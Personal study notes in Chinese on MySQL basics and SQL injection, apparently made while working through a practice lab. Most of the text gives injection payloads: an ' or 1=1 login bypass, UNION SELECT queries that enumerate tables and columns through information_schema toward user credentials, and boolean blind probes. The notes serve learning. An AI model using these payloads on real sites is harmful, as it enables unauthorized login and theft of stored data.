操作语句:
show databases;
use information_schema;
information_schema数据库是MySQL自带的,它提供了访问数据库元数据的方式。什么是元数据呢?元数据是关于数据的数据,如数据库名或表名
create table pte(name char(20),sec char(20), age int); 创建一个表
insert into pte(name, sec, age)values('zhangsan', 'boy', 18); 为各列添加数据
show tables;
select * from pte;
limit:分页查询
limit startIndex,length;
startIndex表示起始位置
length表示取几个
group_concat(str1,0x23,str2)
1,a#2,b#3,c
万能密码: ' or 1=1 -- (有真则真)
username = '' or 1=1 -- 整条语句都会被执行
sql注入注释符 # %23 --+
目标:
1、查询数据
2、执行命令(增删改)
3、读写文件
步骤:
1、查找注入点 get在url
2、判断是数字型还是字符型
?id=1
?id=2-1 和1相同为数字型(可以运算) 若执行?id=2的则为字符型
?id=1 and 1=2 与?id=1相同 则为字符型
?id=1 and 1=2 报错则为数字型 (有假则假)
3、判断闭合方式
' '' ') '')
4、判断列数
?id=1'order by 3 --+
5、判断回显位
?id=-1' union select 1,2,database() --+ 查询数据库名
6、查询用户名和密码
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+
在information_schema库查找table_schema(库名集合)列的数据为database()(本库名)的table_name(表名集合)列对应的数据(表名),排成一行显示 查有哪些表
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema=database() --+
查列名 查user表有哪些列
%27 ' %20 空格
查表中列对应的值
分类:
1、联合查询注入(直接回显) 用上面的步骤直接就能显示
2、盲注(无回显)
布尔盲注:即在页面不显示数据,只显示对错,此时我们输入的语句让页面呈现两种状态,相当于true和false,根据这两种状态判断我们输入的语句是否查询成功。
2、?id=1' and length(database()) =8 --+
3、?id=1'and ascii(substr(database(),1,1))>97 --+
转换成ascii是为了用二分法
substr('xxx',1,1) 从第一个字符开始,一次查询一个 查xxx的长度就是为了实现这个
查表名:
时间盲注:
f12看时间
报错注入
报错中有信息
post型:
抓包改包
sqli:
1、字符型 '
2、数字型 在1的基础上删掉 ' --+
3、字符型 ')
4、字符型 '')
5、id=1时显示
id=-1时显示
布尔盲注或时间盲注
其实本题不能称作盲注,因为存在回显,真正的盲注时不存在回显的,只能根据浏览器加载页面情况,判定是否注入成功。